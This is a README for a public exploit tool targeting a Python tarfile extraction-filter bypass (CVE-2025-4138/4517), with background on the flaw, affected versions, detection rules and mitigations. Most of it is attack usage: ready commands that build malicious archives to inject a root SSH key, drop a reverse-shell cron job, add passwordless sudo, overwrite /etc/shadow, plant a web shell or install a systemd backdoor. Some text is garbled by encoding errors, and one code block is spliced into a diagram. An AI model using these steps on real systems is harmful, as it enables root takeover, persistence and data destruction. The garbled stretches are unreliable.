Share
## https://sploitus.com/exploit?id=875939FB-9777-5987-AFC3-AF9415D4A294
CVE-2025-4138 / CVE-2025-4517Python tarfile Filter Bypass via PATH_MAX Symlink Escape
Arbitrary file write through filter="data" / filter="tar" extraction
---
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [How It Works](#how-it-works)
- [Affected Versions](#affected-versions)
- [Affected Code Pattern](#affected-code-pattern)
- [Installation](#installation)
- [Usage](#usage)
- [Quick Start โ SSH Key Injection](#quick-start--ssh-key-injection)
- [Preset Attacks](#preset-attacks)
- [Custom Target](#custom-target)
- [Proof of Concept โ Safe Verification](#proof-of-concept--safe-verification)
- [Technical Deep Dive](#technical-deep-dive)
- [PATH_MAX and os.path.realpath()](#path_max-and-ospathrealpath)
- [Symlink Chain Construction](#symlink-chain-construction)
- [Filter Bypass Mechanism](#filter-bypass-mechanism)
- [Exploitation Stages](#exploitation-stages)
- [Real-World Attack Scenarios](#real-world-attack-scenarios)
- [Detection](#detection)
- [Mitigation](#mitigation)
- [Related CVEs](#related-cves)
- [Timeline](#timeline)
- [References](#references)
- [Credits](#credits)
- [Disclaimer](#disclaimer)
- [License](#license)
---
## Overview
A critical vulnerability in Python's `tarfile` module allows an attacker to **bypass extraction filters** (`"data"` and `"tar"`) and **write arbitrary files** outside the intended extraction directory. When a privileged process (e.g., a root-level backup script, CI/CD pipeline, or package installer) extracts an attacker-controlled tar archive using the supposedly-safe `filter="data"` parameter, this exploit achieves **full arbitrary file write as that privileged user** โ typically escalating to root.
The root cause is a behavioral quirk in `os.path.realpath()`: it **silently stops resolving** symlinks once the fully-expanded path exceeds `PATH_MAX` (4096 bytes on Linux, 1024 on macOS). The tarfile filter relies on `realpath()` for safety checks, but the kernel resolves symlinks independently during extraction โ creating a **TOCTOU (Time-of-Check-to-Time-of-Use) gap** that enables directory escape.
---
## Vulnerability Details
| Field | Value |
|:--|:--|
| **CVE IDs** | [CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138), [CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517) |
| **CVSS v3.1** | **9.4 (Critical)** โ `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L` |
| **CWE** | [CWE-22](https://cwe.mitre.org/data/definitions/22.html) โ Improper Limitation of a Pathname to a Restricted Directory |
| **Vulnerability Type** | Path Traversal via Symlink / Filter Bypass |
| **Impact** | Arbitrary file write โ privilege escalation, sandbox escape, data tampering |
| **Attack Vector** | Deliver malicious tar archive to any application using `tarfile.extractall()` with filters |
| **Affected** | Python 3.12.0 โ 3.12.10, 3.13.0 โ 3.13.3 |
| **Fixed In** | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| **Patch** | [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| **Advisory** | [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| **Reporter** | Caleb Brown โ Google Security Research |
---
## How It Works
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Malicious Tar Structure โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Stage 1 โโ Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a โ ddd...ddd (symlink, 1 char name โ 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b โ ddd...ddd (symlink)
... ร16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): dddโฆ/dddโฆ/dddโฆ/dddโฆ/dddโฆ/dddโฆ/โฆ ~3968 chars
โ nearing PATH_MAX
Stage 2 โโ Final symlink exceeds PATH_MAX โ realpath() stops resolving
a/b/c/โฆ/p/lllโฆlll โ ../../../../../../../../../../../../../../../../..
(16 levels of ".." โ traverses back to extraction root)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ os.path.realpath() CANNOT expand this โ filter says "OK" โ โ
โ Linux kernel DOES follow chain โ actually escapes โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Stage 3 โโ Escape symlink resolves to arbitrary filesystem path
escape โ /../../../../../../../root/.ssh
Stage 4 โโ Write payload through the escaped symlink
escape/authorized_keys โ writes to /root/.ssh/authorized_keys ๐
```
---
## Affected Versions
| Python Branch | Vulnerable Range | Fixed Version | Status |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 โ 3.13.3 | **3.13.4** | โ
Patched |
| 3.12 | 3.12.0 โ 3.12.10 | **3.12.11** | โ
Patched |
| 3.11 | 3.11.4 โ 3.11.12 | **3.11.13** | โ
Patched |
| 3.10 | 3.10.12 โ 3.10.17 | **3.10.18** | โ
Patched |
| 3.9 | 3.9.17 โ 3.9.22 | **3.9.23** | โ
Patched |
| 3.8 | 3.8.17 โ 3.8.20 | โ | โ End of Life |
| 3.14+ | Default filter changed to `"data"` | Check latest | โ ๏ธ Higher exposure |
> **Note:** Python 3.14+ changed the default `filter` parameter from no filtering to `"data"`, meaning applications that previously had no filter (and were thus already unsafe) now use the vulnerable filter by default.
---
## Affected Code Pattern
Any application doing this on a vulnerable Python version is exploitable:
```python
import tarfile
# VULNERABLE โ filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE โ filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
```
Common real-world occurrences:
- **Backup/restore scripts** running as root
- **CI/CD pipelines** extracting build artifacts
- **Package managers** and installers processing `.tar` distributions
- **Web applications** accepting user-uploaded archives
- **Configuration management** tools extracting deployment bundles
---
## Installation
```bash
git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git
cd CVE-2025-4138
# No dependencies โ uses only Python standard library
python3 exploit.py --help
```
**Requirements:** Python 3.6+ (for archive creation โ the **target** must run a vulnerable version)
---
## Usage
### Quick Start โ SSH Key Injection
```bash
# 1. Generate an SSH key pair (if you don't have one)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies โ backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root
ssh -i ~/.ssh/id_ed25519 root@target
```
### Preset Attacks
| Preset | Target File | Description | `--extra` Param |
|:--|:--|:--|:--|
| `ssh-key` | `/root/.ssh/authorized_keys` | Inject SSH public key for root login | โ |
| `cron` | `/etc/cron.d/pwned` | Drop a root reverse shell cron job | LHOST IP address |
| `sudoers` | `/etc/sudoers.d/pwned` | Add NOPASSWD sudo rule for a user | Username |
| `shadow` | `/etc/shadow` | Overwrite shadow file (โ ๏ธ destructive) | โ |
| `passwd` | `/etc/passwd` | Overwrite passwd file (โ ๏ธ destructive) | โ |
```bash
# Reverse shell via cron (every minute)
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
# Passwordless sudo for user "john"
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar
# SSH key with custom file mode
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub \
--mode 0600 --tar-out evil.tar
```
### Custom Target
Write any content to any absolute path on the target filesystem:
```bash
# Overwrite MOTD
python3 exploit.py \
--target /etc/motd \
--payload "Authorized access only." \
--mode 0644 \
--tar-out evil.tar
# Plant a web shell
python3 exploit.py \
--target /var/www/html/shell.php \
--payload '' \
--mode 0644 \
--tar-out evil.tar
# Overwrite a systemd service for persistence
python3 exploit.py \
--target /etc/systemd/system/backdoor.service \
--payload backdoor.service \
--mode 0644 \
--tar-out evil.tar
```
---
## Proof of Concept โ Safe Verification
Test whether a system is vulnerable **without touching sensitive files**:
```bash
# 1. Create isolated test environment
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract
echo "original_content" > /tmp/cve_test/flag/testfile
# 2. Generate PoC tar targeting the test file
python3 exploit.py \
--target /tmp/cve_test/flag/testfile \
--payload "OVERWRITTEN_BY_CVE-2025-4138" \
--tar-out /tmp/cve_test/poc.tar
# 3. Extract with filter="data" (simulating a vulnerable application)
python3 -c "
import tarfile
tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall(
'/tmp/cve_test/extract', filter='data'
)
"
# 4. Check result
cat /tmp/cve_test/flag/testfile
# Vulnerable: "OVERWRITTEN_BY_CVE-2025-4138"
# Patched: "original_content" (extraction raises error)
# 5. Cleanup
rm -rf /tmp/cve_test
```
### Quick Version Check
```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
(v.minor == 12 and v.micro /../../../../ โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ Points to arbitrary directory on the filesystem โ
โ โ
โ Stage 4: Payload Write โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ escape/ = attacker content โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ File is written through the escaped symlink as the โ
โ process owner (typically root) โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
---
## Real-World Attack Scenarios
### 1. Privileged Backup Restoration
A backup script running as root extracts user-provided tar archives:
```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")
```
**Impact:** Attacker supplies a malicious backup โ writes SSH key to `/root/.ssh/authorized_keys` โ gains root shell.
### 2. CI/CD Pipeline Artifact Extraction
A build system extracts artifacts from untrusted sources:
```python
# Jenkins/GitLab runner extracting build output
tar.extractall(path=workspace_dir, filter="data")
```
**Impact:** Malicious artifact escapes workspace โ overwrites CI configuration โ achieves code execution on build infrastructure.
### 3. Web Application Upload Processing
A web app accepts and extracts tar uploads:
```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")
```
**Impact:** Remote attacker uploads crafted tar โ writes web shell to document root โ achieves RCE.
### 4. Package Installation
Python package managers extracting source distributions:
```python
# pip/setuptools extracting sdist
tar.extractall(path=build_dir, filter="data")
```
**Impact:** Malicious PyPI package escapes build directory โ modifies system files.
---
## Detection
### Indicators of Compromise
Monitor for these patterns that may indicate exploitation:
```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
xargs -I{} readlink {} | grep -c "^d\{200,\}"
# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/
# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape
```
### YARA Rule
```yara
rule CVE_2025_4138_Malicious_Tar {
meta:
description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass"
cve = "CVE-2025-4138"
severity = "critical"
strings:
$long_dir = /d{240,250}\// ascii
$chain = /[a-p]\/[a-p]\/[a-p]\/[a-p]/ ascii
$pad = /l{250,}/ ascii
$traversal = "../../../" ascii
condition:
uint16(0) == 0x0000 and
$long_dir and $chain and ($pad or #traversal > 8)
}
```
---
## Mitigation
### 1. Upgrade Python (Recommended)
```bash
# Check current version
python3 -c "import sys; print(sys.version)"
# Upgrade to patched version:
# 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+
```
### 2. Pre-Extraction Validation (Workaround)
If immediate upgrade is not possible:
```python
import pathlib
import tarfile
def safe_extract(tar_path: str, dest: str) -> None:
"""Extract tar archive with CVE-2025-4138 mitigation."""
with tarfile.open(tar_path, "r") as tar:
for member in tar.getmembers():
# Block symlinks with traversal in link targets
if member.linkname:
parts = pathlib.PurePosixPath(member.linkname).parts
if ".." in parts:
raise ValueError(
f"Blocked: '{member.name}' has traversal "
f"in linkname: '{member.linkname}'"
)
# Block absolute symlink targets
if member.issym() and member.linkname.startswith("/"):
raise ValueError(
f"Blocked: '{member.name}' has absolute "
f"symlink target: '{member.linkname}'"
)
# Re-open to reset iterator
tar.extractall(path=dest, filter="data")
```
### 3. Sandboxed Extraction
```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
mount -t tmpfs tmpfs /mnt
python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
"
'
```
### 4. Alternative Extraction Tools
```bash
# Use GNU tar instead of Python tarfile
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/
```
---
## Related CVEs
| CVE | Description | Severity |
|:--|:--|:--|
| **CVE-2025-4138** | Symlink target filter bypass via PATH_MAX overflow | Critical |
| **CVE-2025-4517** | Arbitrary file write via realpath overflow (same root cause) | Critical |
| **CVE-2025-4330** | Symlink path traversal bypassing extraction filters | High |
| **CVE-2024-12718** | File metadata modification outside extraction directory | High |
| **CVE-2025-4435** | Filtered files still extracted when `errorlevel=0` | Medium |
| **CVE-2007-4559** | Original tarfile path traversal (no filter era) | High |
All were addressed in [CPython Issue #135034](https://github.com/python/cpython/issues/135034) and [PR #135037](https://github.com/python/cpython/pull/135037).
---
## Timeline
| Date | Event |
|:--|:--|
| 2025-04-30 | Vulnerability reported to Python Security Response Team |
| 2025-06-02 | Public issue opened โ [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | Fix merged โ [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | [PSF Security Announcement](https://mail.python.org/archives/list/security-announce@python.org/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) published |
| 2025-06-03 | Patched releases: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | CERT-FR advisory [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Google Security Research advisory [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | Full disclosure |
---
## References
- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) โ Google Security Research Advisory & Original PoC
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) โ Upstream Bug Report
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) โ Fix Commit
- [PSF Security Announcement](https://mail.python.org/archives/list/security-announce@python.org/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) โ Official Advisory
- [Seth Larson's Mitigation Gist](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) โ Quick Mitigation Script
- [NVD โ CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD โ CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Python `tarfile` Extraction Filters Documentation](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Linux `realpath(3)` Man Page](https://man7.org/linux/man-pages/man3/realpath.3.html) โ PATH_MAX behavior
---
## Credits
- **Vulnerability Discovery:** [Caleb Brown](https://github.com/calebbrown) โ Google Security Research
- **Patch Authors:** ลukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **This PoC:** [DesertDemon](https://github.com/YOUR_USERNAME)
---
## Disclaimer
> **โ ๏ธ This tool is provided strictly for authorized security testing, research, and educational purposes.**
>
> Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act, and equivalent legislation worldwide. Always obtain explicit written authorization before testing any system you do not own.
>
> The author assumes no liability for misuse of this software. By using this tool, you agree that you are solely responsible for your actions and that you will comply with all applicable laws.
---
## License
This project is licensed under the [MIT License](LICENSE).
---
๐ If you find this useful, consider starring the repo
๐ซ For responsible disclosure inquiries, open an issue or contact via GitHub